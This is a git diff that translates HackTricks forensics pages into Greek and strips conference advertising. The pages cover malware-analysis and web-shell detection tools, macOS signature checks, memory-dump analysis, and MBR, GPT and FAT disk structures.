μέσα στο εκτελέσιμο (δυαδικά δεδομένα, εντροπία, URLs και IPs, κάποιους κανόνες yara). ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) είναι ένα εργαλείο που επιτρέπει την απόκτηση πληροφοριών για εκτελέσιμα Windows όπως εισαγωγές, εξαγωγές, κεφαλίδες, αλλά θα ελέγξει επίσης το virus total και θα βρει πιθανές τεχνικές Att\&ck. ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) είναι ένα εργαλείο για να ανιχνεύει αν ένα αρχείο είναι **κρυπτογραφημένο** και επίσης να βρίσκει **πακετάρισμα**. ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)είναι ένα σενάριο Python που χρησιμοποιεί μια ποικιλία **στατιστικών μεθόδων** για να ανιχνεύει **κωδικοποιημένο** και **κρυπτογραφημένο** περιεχόμενο μέσα σε αρχεία κειμένου/σεναρίων. Ο προορισμός του NeoPI είναι να βοηθήσει στην **ανίχνευση κρυφού κώδικα web shell**. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) κάνει το καλύτερο δυνατό για να ανιχνεύσει **κωδικοποιημένο**/**ύποπτο κώδικα** καθώς και αρχεία που χρησιμοποιούν **συναρτήσεις PHP** που συχνά χρησιμοποιούνται σε **malwares**/webshells. ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +Όταν ελέγχετε κάποιο **δείγμα malware** θα πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού, καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί ήδη να είναι **σχετικός** με **malware.** ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## Τεχνικές Ανίχνευσης -## Detection Techniques +### Συσσώρευση Αρχείων -### File Stacking +Αν γνωρίζετε ότι κάποιο φάκελο που περιέχει τα **αρχεία** ενός web server **ενημερώθηκε τελευταία σε κάποια ημερομηνία**. **Ελέγξτε** την **ημερομηνία** που δημιουργήθηκαν και τροποποιήθηκαν όλα τα **αρχεία** στον **web server** και αν κάποια ημερομηνία είναι **ύποπτη**, ελέγξτε αυτό το αρχείο. -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### Βασικές Γραμμές -### Baselines +Αν τα αρχεία ενός φακέλου **δεν θα έπρεπε να έχουν τροποποιηθεί**, μπορείτε να υπολογίσετε το **hash** των **αρχικών αρχείων** του φακέλου και να **συγκρίνετε** τα με τα **τρέχοντα**. Οτιδήποτε τροποποιηθεί θα είναι **ύποπτο**. -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### Στατιστική Ανάλυση -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +Όταν οι πληροφορίες αποθηκεύονται σε logs μπορείτε να **ελέγξετε στατιστικά όπως πόσες φορές κάθε αρχείο ενός web server προσπελάστηκε καθώς ένα web shell μπορεί να είναι ένα από τα πιο**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 0d48e3bc2..55c820678 100644 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# Ανάλυση εκχύλισης μνήμης {{#include ../../../banners/hacktricks-training.md}} -
+## Έναρξη -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +Ξεκινήστε **αναζητώντας** **κακόβουλο λογισμικό** μέσα στο pcap. Χρησιμοποιήστε τα **εργαλεία** που αναφέρονται στο [**Malware Analysis**](../malware-analysis.md). ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Το Volatility είναι το κύριο ανοιχτού κώδικα πλαίσιο για την ανάλυση εκχύλισης μνήμης**. Αυτό το εργαλείο Python αναλύει εκχυλίσεις από εξωτερικές πηγές ή VMware VMs, αναγνωρίζοντας δεδομένα όπως διαδικασίες και κωδικούς πρόσβασης με βάση το προφίλ OS της εκχύλισης. Είναι επεκτάσιμο με plugins, καθιστώντας το εξαιρετικά ευέλικτο για ποινικές έρευνες. -**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +**[Βρείτε εδώ ένα cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** -## Mini dump crash report +## Αναφορά σφάλματος mini dump -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Όταν η εκχύλιση είναι μικρή (μόλις μερικά KB, ίσως μερικά MB) τότε πιθανότατα πρόκειται για αναφορά σφάλματος mini dump και όχι για εκχύλιση μνήμης. ![](<../../../images/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Αν έχετε εγκατεστημένο το Visual Studio, μπορείτε να ανοίξετε αυτό το αρχείο και να συνδέσετε κάποιες βασικές πληροφορίες όπως το όνομα διαδικασίας, αρχιτεκτονική, πληροφορίες εξαίρεσης και μονάδες που εκτελούνται: ![](<../../../images/image (217).png>) -You can also load the exception and see the decompiled instructions +Μπορείτε επίσης να φορτώσετε την εξαίρεση και να δείτε τις αποσυμπιεσμένες εντολές ![](<../../../images/image (219).png>) ![](<../../../images/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +Ούτως ή άλλως, το Visual Studio δεν είναι το καλύτερο εργαλείο για να εκτελέσετε μια ανάλυση βάθους της εκχύλισης. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +Πρέπει να **το ανοίξετε** χρησιμοποιώντας **IDA** ή **Radare** για να το επιθεωρήσετε σε **βάθος**. ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 02ab3ddf6..5ae9d8f6e 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# Διαμερίσματα/Συστήματα Αρχείων/Carving {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## Διαμερίσματα -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Ένας σκληρός δίσκος ή ένα **SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με στόχο τη φυσική διαχωρισμό των δεδομένων.\ +Η **ελάχιστη** μονάδα ενός δίσκου είναι ο **τομέας** (κανονικά αποτελείται από 512B). Έτσι, το μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο αυτού του μεγέθους. ### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού θα πρέπει να προσαρτηθεί ένα διαμέρισμα.\ +Επιτρέπει έως **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **εκτεταμένα διαμερίσματα**. Ο **τελευταίος byte** αυτού του πρώτου τομέα είναι η υπογραφή του boot record **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να χαρακτηριστεί ως ενεργό.\ +Το MBR επιτρέπει **μέγιστο 2.2TB**. ![](<../../../images/image (489).png>) ![](<../../../images/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου των Windows** (αν χρησιμοποιούνται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου των Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να εμποδίσει τα Windows να εκκινήσουν (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (493).png>) -**Format** +**Μορφή** | Offset | Length | Item | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης | +| 446 (0x1BE) | 16 (0x10) | Πρώτο Διαμέρισμα | +| 462 (0x1CE) | 16 (0x10) | Δεύτερο Διαμέρισμα | +| 478 (0x1DE) | 16 (0x10) | Τρίτο Διαμέρισμα | +| 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα | +| 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA | -**Partition Record Format** +**Μορφή Καταγραφής Διαμερίσματος** | Offset | Length | Item | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| 0 (0x00) | 1 (0x01) | Σημαία ενεργοποίησης (0x80 = εκκινήσιμο) | +| 1 (0x01) | 1 (0x01) | Αρχική κεφαλή | +| 2 (0x02) | 1 (0x01) | Αρχικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) | +| 3 (0x03) | 1 (0x01) | Αρχικός κύλινδρος χαμηλότερα 8 bits | +| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμερίσματος (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Τελική κεφαλή | +| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) | +| 7 (0x07) | 1 (0x01) | Τελικός κύλινδρος χαμηλότερα 8 bits | +| 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) | +| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Για να προσαρτήσετε ένα MBR σε Linux, πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) +Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (Λογική διεύθυνση μπλοκ)** -**LBA (Logical block addressing)** +**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον καθορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής. -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (Πίνακας Κατανομής GUID) -### GPT (GUID Partition Table) +Ο Πίνακας Κατανομής GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακριτικός για τον **παγκοσμίως μοναδικό αναγνωριστή** για τις κατανομές, το GPT ξεχωρίζει με αρκετούς τρόπους: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **Τοποθεσία και Μέγεθος**: Και οι GPT και MBR ξεκινούν από **τομέα 0**. Ωστόσο, το GPT λειτουργεί σε **64bit**, σε αντίθεση με τα 32bit του MBR. +- **Όρια Κατανομής**: Το GPT υποστηρίζει έως **128 κατανομές** σε συστήματα Windows και φιλοξενεί έως **9.4ZB** δεδομένων. +- **Ονόματα Κατανομής**: Προσφέρει τη δυνατότητα ονομασίας κατανομών με έως 36 χαρακτήρες Unicode. -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**Ανθεκτικότητα Δεδομένων και Ανάκτηση**: -**Data Resilience and Recovery**: +- **Επικαλυπτικότητα**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει την κατανομή και τα δεδομένα εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων. +- **Έλεγχος Κυκλικής Επικαλυπτικότητας (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων, και όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου. -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**Προστατευτικό MBR (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους που έχουν μορφοποιηθεί σε GPT. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**Υβριδικό MBR (LBA 0 + GPT)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατανομές GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 bytes. -**Partition table header (LBA 1)** +**Κεφαλίδα πίνακα κατανομής (LBA 1)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +Η κεφαλίδα του πίνακα κατανομής ορίζει τα χρησιμοποιήσιμα μπλοκ στον δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρίσεων κατανομής που αποτελούν τον πίνακα κατανομής (offsets 80 και 84 στον πίνακα). -| Offset | Length | Contents | +| Offset | Length | Περιεχόμενα | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)σε μηχανές little-endian) | +| 8 (0x08) | 4 bytes | Αναθεώρηση 1.0 (00h 00h 01h 00h) για UEFI 2.8 | +| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε little endian (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) | +| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (offset +0 έως μέγεθος κεφαλίδας) σε little endian, με αυτό το πεδίο μηδενισμένο κατά τη διάρκεια του υπολογισμού | +| 20 (0x14) | 4 bytes | Κρατημένο; πρέπει να είναι μηδέν | +| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντιγράφου κεφαλίδας) | +| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντιγράφου κεφαλίδας) | +| 40 (0x28) | 8 bytes | Πρώτο χρησιμοποιήσιμο LBA για κατανομές (τελευταίο LBA κύριου πίνακα κατανομής + 1) | +| 48 (0x30) | 8 bytes | Τελευταίο χρησιμοποιήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα κατανομής − 1) | +| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτό endian | +| 72 (0x48) | 8 bytes | Αρχικό LBA ενός πίνακα καταχωρίσεων κατανομής (πάντα 2 στην κύρια αντιγραφή) | +| 80 (0x50) | 4 bytes | Αριθμός καταχωρίσεων κατανομής στον πίνακα | +| 84 (0x54) | 4 bytes | Μέγεθος μιας μόνο καταχώρισης κατανομής (συνήθως 80h ή 128) | +| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρίσεων κατανομής σε little endian | +| 92 (0x5C) | \* | Κρατημένο; πρέπει να είναι μηδενικά για το υπόλοιπο του μπλοκ (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερα με μεγαλύτερα μεγέθη τομέα) | -**Partition entries (LBA 2–33)** +**Καταχωρίσεις κατανομής (LBA 2–33)** -| GUID partition entry format | | | -| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| Μορφή καταχώρισης GUID | | | +| ----------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | +| Offset | Length | Περιεχόμενα | +| 0 (0x00) | 16 bytes | [GUID τύπου κατανομής](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (μικτό endian) | +| 16 (0x10) | 16 bytes | Μοναδικός GUID κατανομής (μικτό endian) | +| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένο, συνήθως περιττό) | +| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 δηλώνει μόνο για ανάγνωση) | +| 56 (0x38) | 72 bytes | Όνομα κατανομής (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) | -**Partitions Types** +**Τύποι Κατανομών** ![](<../../../images/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +Περισσότεροι τύποι κατανομών στο [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### Επιθεώρηση -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +Αφού τοποθετήσετε την εικόνα εγκληματολογίας με το [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), μπορείτε να επιθεωρήσετε τον πρώτο τομέα χρησιμοποιώντας το εργαλείο Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Στην παρακάτω εικόνα ανιχνεύθηκε ένα **MBR** στον **τομέα 0** και ερμηνεύθηκε: ![](<../../../images/image (494).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +Αν ήταν ένας **πίνακας GPT αντί για MBR** θα έπρεπε να εμφανίζεται η υπογραφή _EFI PART_ στον **τομέα 1** (ο οποίος στην προηγούμενη εικόνα είναι κενός). -## File-Systems +## Συστήματα Αρχείων -### Windows file-systems list +### Λίστα συστημάτων αρχείων Windows - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,49 +149,49 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +Το **FAT (Πίνακας Κατανομής Αρχείων)** σύστημα αρχείων έχει σχεδιαστεί γύρω από τον πυρήνα του, τον πίνακα κατανομής αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, διασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν το ένα είναι κατεστραμμένο. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκεται σε μια **σταθερή τοποθεσία**, κρίσιμη για τη διαδικασία εκκίνησης του συστήματος. -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που περιλαμβάνει πολλαπλούς τομείς. Το FAT έχει εξελιχθεί μέσω εκδόσεων: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, υποστηρίζοντας 12-bit διευθύνσεις cluster και χειρίζεται έως 4078 clusters (4084 με UNIX). +- **FAT16**, βελτιώνοντας σε 16-bit διευθύνσεις, επιτρέποντας έτσι έως 65,517 clusters. +- **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο. -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +Ένας σημαντικός περιορισμός σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το 32-bit πεδίο που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου. -Key components of the root directory, particularly for FAT12 and FAT16, include: +Κύρια στοιχεία του ριζικού καταλόγου, ιδιαίτερα για FAT12 και FAT16, περιλαμβάνουν: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες) +- **Χαρακτηριστικά** +- **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης** +- **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το αρχικό cluster του αρχείου) +- **Μέγεθος Αρχείου** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. 